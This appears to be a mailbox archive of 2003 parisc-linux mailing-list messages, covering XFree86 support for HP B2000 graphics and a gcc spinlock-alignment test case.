X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] B2000 revisited
Date: Wed, 26 Feb 2003 09:59:29 -0800 (PST)
Lines: 83
Approved: news@gmane.org
Message-ID: <20030226175929.65724.qmail@web12504.mail.yahoo.com>
References: <004501c2ddb7$f8898170$830c1bac@vli82k7dbaker>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-194974577-1046282369=:65319"
X-Trace: ger.gmane.org 1416622242 22409 80.91.229.3 (22 Nov 2014 02:10:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 26 10:59:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12504.mail.yahoo.com (web12504.mail.yahoo.com [216.136.173.196])
	by dsl2.external.hp.com (Postfix) with SMTP id 8118E483E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Feb 2003 10:59:30 -0700 (MST)
Original-Received: from [12.24.253.152] by web12504.mail.yahoo.com via HTTP; Wed, 26 Feb 2003 09:59:29 PST
In-Reply-To: <004501c2ddb7$f8898170$830c1bac@vli82k7dbaker>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17797

--0-194974577-1046282369=:65319
Content-Type: text/plain; charset=us-ascii


I initially tried to load using the graphics console and the keyboard (USB) is having issues, but loading from serial console seems to work fine.  The load isn't complete as yet so I will have to see if XFree works once it's complete.
derek
 Dan Baker <dan_baker@eli.net> wrote:Excellent idea! I will try it this after noon!-----Original Message-----
From: parisc-linux-admin@lists.parisc-linux.org [mailto:parisc-linux-admin@lists.parisc-linux.org]On Behalf Of Derek Engelhaupt
Sent: Wednesday, February 26, 2003 6:34 AM
To: parisc-linux@lists.parisc-linux.org
Subject: RE: [parisc-linux] B2000 revisited


Well, I threw my PCI EG card in there from my C360 and booted the netinst ISO in the IDE CDROM and I got the penquin with the user configuration interface so maybe once it's loaded I will be able to configure the XFree on the EG card.  Only time will tell at this point. 
derek 
 Joel Soete <jsoe0708@tiscali.be> wrote:

>-- Original Message --
>From: Derek Engelhaupt 
>To: parisc-linux@lists.parisc-linux.org
>Subject: [parisc-linux] B2000 revisited
>Date: Tue, 25 Feb 2003 23:10:31 -0800 (PST)
>
>
>
>Hey all,
>
>Did a search through the m-l archives, but couldn't find an answer to my
>question. Has anyone gotten XFree up on a B2000 using the onboard graphics
>port (it's an FXE from what I gather)? Or is everyone with a B2000 using
>a serial console?

Unfortunaltely under xfree86 there is not yet support for this gfx :(
And not yet news about potential sources availability (may be in a near future???)

> I'm guessing the C3000 would fall into the same boat.

Could not help about this model.


> Thanks.
>
Well come,
Joel

------------------ ---------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




---------------------------------
Do you Yahoo!?
Yahoo! Tax Center - forms, calculators, tips, and more


---------------------------------
Do you Yahoo!?
Yahoo! Tax Center - forms, calculators, tips, and more
--0-194974577-1046282369=:65319
Content-Type: text/html; charset=us-ascii

<P>I initially tried to load using the graphics console and the keyboard (USB) is having issues, but loading from serial console seems to work fine.&nbsp; The load isn't complete as yet so I will have to see if XFree works once it's complete.
<P>derek
<P>&nbsp;<B><I>Dan Baker &lt;dan_baker@eli.net&gt;</I></B> wrote:
<BLOCKQUOTE style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px"><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<META content="MSHTML 6.00.2800.1106" name=GENERATOR>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=169353816-26022003>Excellent idea! I will try it this after noon!</SPAN></FONT></DIV>
<BLOCKQUOTE>
<DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma size=2>-----Original Message-----<BR><B>From:</B> parisc-linux-admin@lists.parisc-linux.org [mailto:parisc-linux-admin@lists.parisc-linux.org]<B>On Behalf Of </B>Derek Engelhaupt<BR><B>Sent:</B> Wednesday, February 26, 2003 6:34 AM<BR><B>To:</B> parisc-linux@lists.parisc-linux.org<BR><B>Subject:</B> RE: [parisc-linux] B2000 revisited<BR><BR></FONT></DIV>
<P>Well, I threw my PCI EG card in there from my C360 and booted the netinst ISO in the IDE CDROM and I got the penquin with the user configuration interface so maybe once it's loaded I will be able to configure the XFree on the EG card.&nbsp; Only time will tell at this point. 
<P>derek 
<P>&nbsp;<B><I>Joel Soete &lt;jsoe0708@tiscali.be&gt;</I></B> wrote:</P>
<BLOCKQUOTE style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px"><BR>&gt;-- Original Message --<BR>&gt;From: Derek Engelhaupt <DEREKENGELHAUPT@ROCKETMAIL.COM><BR>&gt;To: parisc-linux@lists.parisc-linux.org<BR>&gt;Subject: [parisc-linux] B2000 revisited<BR>&gt;Date: Tue, 25 Feb 2003 23:10:31 -0800 (PST)<BR>&gt;<BR>&gt;<BR>&gt;<BR>&gt;Hey all,<BR>&gt;<BR>&gt;Did a search through the m-l archives, but couldn't find an answer to my<BR>&gt;question. Has anyone gotten XFree up on a B2000 using the onboard graphics<BR>&gt;port (it's an FXE from what I gather)? Or is everyone with a B2000 using<BR>&gt;a serial console?<BR><BR>Unfortunaltely under xfree86 there is not yet support for this gfx :(<BR>And not yet news about potential sources availability (may be in a near future
 ???)<BR><BR>&gt; I'm guessing the C3000 would fall into the same boat.<BR><BR>Could not help about this model.<BR><BR><BR>&gt; Thanks.<BR>&gt;<BR>Well come,<BR>Joel<BR><BR>------------------ ---------------<BR>Vous surfez avec une ligne classique ?<BR>Faites des economies avec Tiscali Complete<BR>... Plus d'info sur http://complete.tiscali.be<BR><BR></BLOCKQUOTE>
<P><BR>
<HR SIZE=1>
Do you Yahoo!?<BR><A href="http://rd.yahoo.com/finance/mailtagline/*http://taxes.yahoo.com/">Yahoo! Tax Center</A> - forms, calculators, tips, and more</BLOCKQUOTE></BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/finance/mailtagline/*http://taxes.yahoo.com/">Yahoo! Tax Center</a> - forms, calculators, tips, and more
--0-194974577-1046282369=:65319--


From - Thu Nov 08 21:26:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Wed, 26 Feb 2003 19:31:05 +0100
Lines: 91
Approved: news@gmane.org
Message-ID: <3E5BA2910000087F@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622242 22410 80.91.229.3 (22 Nov 2014 02:10:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:42 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 26 11:31:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70B3B483E
	for <parisc-linux@parisc-linux.org>; Wed, 26 Feb 2003 11:31:15 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18o6Kg-0003Im-00; Wed, 26 Feb 2003 19:31:06 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 26 Feb 2003 19:31:05 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17798

Hi Dave,

>-- Original Message --
>Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
>To: jsoe0708@tiscali.be (Joel Soete)
>From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
>Cc: willy@debian.org, parisc-linux@parisc-linux.org
>Date: Tue, 25 Feb 2003 13:50:04 -0500 (EST)
>
>
>> int main(int argc, char * * argv, char * * env) {
>>
>>     spinlock_t MySpinLock __attribute__((__aligned__(64))) =SPIN_LOCK_UNLOCKED;
>>     rwlock_t MyRWLock __attribute__((__aligned__(64))) = RW_LOCK_UNLOCKED;
>
>This does not work.  The aligned attribute doesn't work for automatic
>variables and never has.  Structures allocated on the stack are allocated
>with alignment BIGGEST_ALIGNMENT.  This should be a FAQ.
>
>BIGGEST_ALIGNMENT is 128 bits on the 64-bit ports.  It is 64 on the 32-bit
>port.  It is 128 in debian gcc 3.0.4 but this broke the hpux ABI regarding
>the placement of long doubles in structures.  Thus, this change was
>reverted the GCC CVS source.
>
>Spinlocks on PA 2.0 machines don't need special alignment, although you
>may want to keep them in separate cache lines.
>

Sorry in advance if I missunderstood.

Ok, ow the test case which actually reproduce the problem is:
#include <stdio.h>

typedef struct {
        volatile unsigned int lock;
        volatile unsigned long owner_pc;
        volatile unsigned long owner_cpu;
} spinlock_t;

#define SPIN_LOCK_UNLOCKED (spinlock_t) { 1 }

typedef struct {
        spinlock_t lock;
        volatile int counter;
} rwlock_t;

#define RW_LOCK_UNLOCKED (rwlock_t) { SPIN_LOCK_UNLOCKED, 0 }

spinlock_t MySpinLock __attribute__((__aligned__(64))) =SPIN_LOCK_UNLOCKED;
rwlock_t MyRWLock __attribute__((__aligned__(64))) = RW_LOCK_UNLOCKED;

int main(int argc, char * * argv, char * * env) {

    printf("MySpinLock->lock: %d\n", MySpinLock.lock);

    printf("MySpinLock->owner_pc: %d\n", MySpinLock.owner_pc);

    printf("MySpinLock->owner_cpu: %d\n", MySpinLock.owner_cpu);

    printf("MyRWLock->lock->lock: %d\n", MyRWLock.lock.lock);

    printf("MyRWLock->lock->owner_pc: %d\n", MyRWLock.lock.owner_pc);

    printf("MyRWLock->lock->owner_cpu: %d\n", MyRWLock.lock.owner_cpu);

    printf("MyRWLock->counter: %d\n", MyRWLock.counter);

    return 0;
}

Would I have to open a bug report near gcc with this one?


>Dave
>--
>J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
>National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)
>_______________________________________________

Thanks again,
    Joel



---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] B2000 revisited
Date: Wed, 26 Feb 2003 19:42:59 +0100
Lines: 95
Approved: news@gmane.org
Message-ID: <3E5BA29100000887@ocpmta3.freegates.net>
References: <20030226175929.65724.qmail@web12504.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622243 22416 80.91.229.3 (22 Nov 2014 02:10:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:43 +0000 (UTC)
To: "Derek Engelhaupt" <derekengelhaupt@rocketmail.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 26 11:43:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E0FA483E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Feb 2003 11:43:18 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18o6WR-00054x-00; Wed, 26 Feb 2003 19:43:15 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 26 Feb 2003 19:42:59 +0100
In-Reply-To: <20030226175929.65724.qmail@web12504.mail.yahoo.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17799

Derek,

>-- Original Message --
>From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
>Subject: RE: [parisc-linux] B2000 revisited
>To: parisc-linux@lists.parisc-linux.org
>Date: Wed, 26 Feb 2003 09:59:29 -0800 (PST)
>
>
>
>I initially tried to load using the graphics console and the keyboard (USB)
>is having issues, but loading from serial console seems to work fine.  The
>load isn't complete as yet so I will have to see if XFree works once it's
>complete.

If you could see (even if you boot from a serial console) a penguin on your
graphical screen, it is very good.
Grab a XF86Config-4 config file (may be change the definition and depth according
to the dmesg info about ... stifb 1288*1024-8)

Good luck,
    Joel


> Dan Baker <dan_baker@eli.net> wrote:Excellent idea! I will try it this
after
>noon!-----Original Message-----
>From: parisc-linux-admin@lists.parisc-linux.org [mailto:parisc-linux-admin@lists.parisc-linux.org]On
>Behalf Of Derek Engelhaupt
>Sent: Wednesday, February 26, 2003 6:34 AM
>To: parisc-linux@lists.parisc-linux.org
>Subject: RE: [parisc-linux] B2000 revisited
>
>
>Well, I threw my PCI EG card in there from my C360 and booted the netinst
>ISO in the IDE CDROM and I got the penquin with the user configuration interface
>so maybe once it's loaded I will be able to configure the XFree on the EG
>card.  Only time will tell at this point. 
>derek 
> Joel Soete <jsoe0708@tiscali.be> wrote:
>
>>-- Original Message --
>>From: Derek Engelhaupt 
>>To: parisc-linux@lists.parisc-linux.org
>>Subject: [parisc-linux] B2000 revisited
>>Date: Tue, 25 Feb 2003 23:10:31 -0800 (PST)
>>
>>
>>
>>Hey all,
>>
>>Did a search through the m-l archives, but couldn't find an answer to my
>>question. Has anyone gotten XFree up on a B2000 using the onboard graphics
>>port (it's an FXE from what I gather)? Or is everyone with a B2000 using
>>a serial console?
>
>Unfortunaltely under xfree86 there is not yet support for this gfx :(
>And not yet news about potential sources availability (may be in a near
future???)
>
>> I'm guessing the C3000 would fall into the same boat.
>
>Could not help about this model.
>
>
>> Thanks.
>>
>Well come,
>Joel
>
>------------------ ---------------
>Vous surfez avec une ligne classique ?
>Faites des economies avec Tiscali Complete
>... Plus d'info sur http://complete.tiscali.be
>
>
>
>
>---------------------------------
>Do you Yahoo!?
>Yahoo! Tax Center - forms, calculators, tips, and more
>
>
>---------------------------------
>Do you Yahoo!?
>Yahoo! Tax Center - forms, calculators, tips, and more


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] B2000 revisited
Date: Wed, 26 Feb 2003 19:48:55 +0100
Lines: 137
Approved: news@gmane.org
Message-ID: <3E5BA2910000088D@ocpmta3.freegates.net>
References: <3E5BA29100000887@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622243 22419 80.91.229.3 (22 Nov 2014 02:10:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:43 +0000 (UTC)
To: "Derek Engelhaupt" <derekengelhaupt@rocketmail.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 26 11:49:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id EBC75483E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Feb 2003 11:49:17 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18o6cF-0005fH-00; Wed, 26 Feb 2003 19:49:15 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 26 Feb 2003 19:48:55 +0100
In-Reply-To: <3E5BA29100000887@ocpmta3.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17800

>-- Original Message --
>From: "Joel Soete" <jsoe0708@tiscali.be>
>Subject: RE: [parisc-linux] B2000 revisited
>To: "Derek Engelhaupt" <derekengelhaupt@rocketmail.com>,
>	parisc-linux@lists.parisc-linux.org
>Date: Wed, 26 Feb 2003 19:42:59 +0100
>
>
>Derek,
>
>>-- Original Message --
>>From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
>>Subject: RE: [parisc-linux] B2000 revisited
>>To: parisc-linux@lists.parisc-linux.org
>>Date: Wed, 26 Feb 2003 09:59:29 -0800 (PST)
>>
>>
>>
>>I initially tried to load using the graphics console and the keyboard (USB)
>>is having issues, but loading from serial console seems to work fine. 
The
>>load isn't complete as yet so I will have to see if XFree works once it's
>>complete.
>
>If you could see (even if you boot from a serial console) a penguin on your
>graphical screen, it is very good.
>Grab a XF86Config-4 config file (may be change the definition and depth
according
>to the dmesg info about ... stifb 1288*1024-8)
>
May be in much details:

in your dmesg you should find
...
STI device: INTERNAL...
...
fb0: stifb 1280*1024-8 frame buffer device
           ^^^^^^^^^ ^

If your device is well supported (if not it would tell it),
in the XF86Config-4, you should match in Section "Screen" your actual DefaultDepth
with here 8 (from -8 above) and in the corresponding SubSection "Display"
your actual Modes: here 1280*1024 (and only this; switching is not possible)

hth,
    Joel

>Good luck,
>    Joel
>
>
>> Dan Baker <dan_baker@eli.net> wrote:Excellent idea! I will try it this
>after
>>noon!-----Original Message-----
>>From: parisc-linux-admin@lists.parisc-linux.org [mailto:parisc-linux-admin@lists.parisc-linux.org]On
>>Behalf Of Derek Engelhaupt
>>Sent: Wednesday, February 26, 2003 6:34 AM
>>To: parisc-linux@lists.parisc-linux.org
>>Subject: RE: [parisc-linux] B2000 revisited
>>
>>
>>Well, I threw my PCI EG card in there from my C360 and booted the netinst
>>ISO in the IDE CDROM and I got the penquin with the user configuration
interface
>>so maybe once it's loaded I will be able to configure the XFree on the
EG
>>card.  Only time will tell at this point. 
>>derek 
>> Joel Soete <jsoe0708@tiscali.be> wrote:
>>
>>>-- Original Message --
>>>From: Derek Engelhaupt 
>>>To: parisc-linux@lists.parisc-linux.org
>>>Subject: [parisc-linux] B2000 revisited
>>>Date: Tue, 25 Feb 2003 23:10:31 -0800 (PST)
>>>
>>>
>>>
>>>Hey all,
>>>
>>>Did a search through the m-l archives, but couldn't find an answer to
my
>>>question. Has anyone gotten XFree up on a B2000 using the onboard graphics
>>>port (it's an FXE from what I gather)? Or is everyone with a B2000 using
>>>a serial console?
>>
>>Unfortunaltely under xfree86 there is not yet support for this gfx :(
>>And not yet news about potential sources availability (may be in a near
>future???)
>>
>>> I'm guessing the C3000 would fall into the same boat.
>>
>>Could not help about this model.
>>
>>
>>> Thanks.
>>>
>>Well come,
>>Joel
>>
>>------------------ ---------------
>>Vous surfez avec une ligne classique ?
>>Faites des economies avec Tiscali Complete
>>... Plus d'info sur http://complete.tiscali.be
>>
>>
>>
>>
>>---------------------------------
>>Do you Yahoo!?
>>Yahoo! Tax Center - forms, calculators, tips, and more
>>
>>
>>---------------------------------
>>Do you Yahoo!?
>>Yahoo! Tax Center - forms, calculators, tips, and more
>
>
>---------------------------------
>Vous surfez avec une ligne classique ?
>Faites des economies avec Tiscali Complete
>... Plus d'info sur http://complete.tiscali.be
>
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Wed, 26 Feb 2003 13:58:57 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200302261858.h1QIwvSJ019646@hiauly1.hia.nrc.ca>
References: <3E5BA2910000087F@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622243 22423 80.91.229.3 (22 Nov 2014 02:10:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:43 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 26 11:59:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E047483E
	for <parisc-linux@parisc-linux.org>; Wed, 26 Feb 2003 11:59:00 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h1QIwwlk019647;
	Wed, 26 Feb 2003 13:58:59 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h1QIwvSJ019646;
	Wed, 26 Feb 2003 13:58:57 -0500 (EST)
In-Reply-To: <3E5BA2910000087F@ocpmta3.freegates.net> from "Joel Soete" at Feb 26, 2003 07:31:05 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17801

> Would I have to open a bug report near gcc with this one?

You mean for the errors:

joel.c:19: error: initializer element is not constant
joel.c:19: error: (near initialization for `MyRWLock')
joel.c:19: error: initializer element is not constant

No, fix the code.  I don't believe you will win this one.  This
feature (extension) was deliberately removed from GCC.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Wed, 26 Feb 2003 20:37:22 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <20030226203722.A16664__21884.6902870157$1416622244$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <3E5BA2910000087F@ocpmta3.freegates.net> <200302261858.h1QIwvSJ019646@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622244 22425 80.91.229.3 (22 Nov 2014 02:10:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:44 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org, gcc@gcc.gnu.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 26 13:37:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CE2A483E
	for <parisc-linux@parisc-linux.org>; Wed, 26 Feb 2003 13:37:23 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18o8Is-0006Fc-00; Wed, 26 Feb 2003 20:37:22 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200302261858.h1QIwvSJ019646@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Wed, Feb 26, 2003 at 01:58:57PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
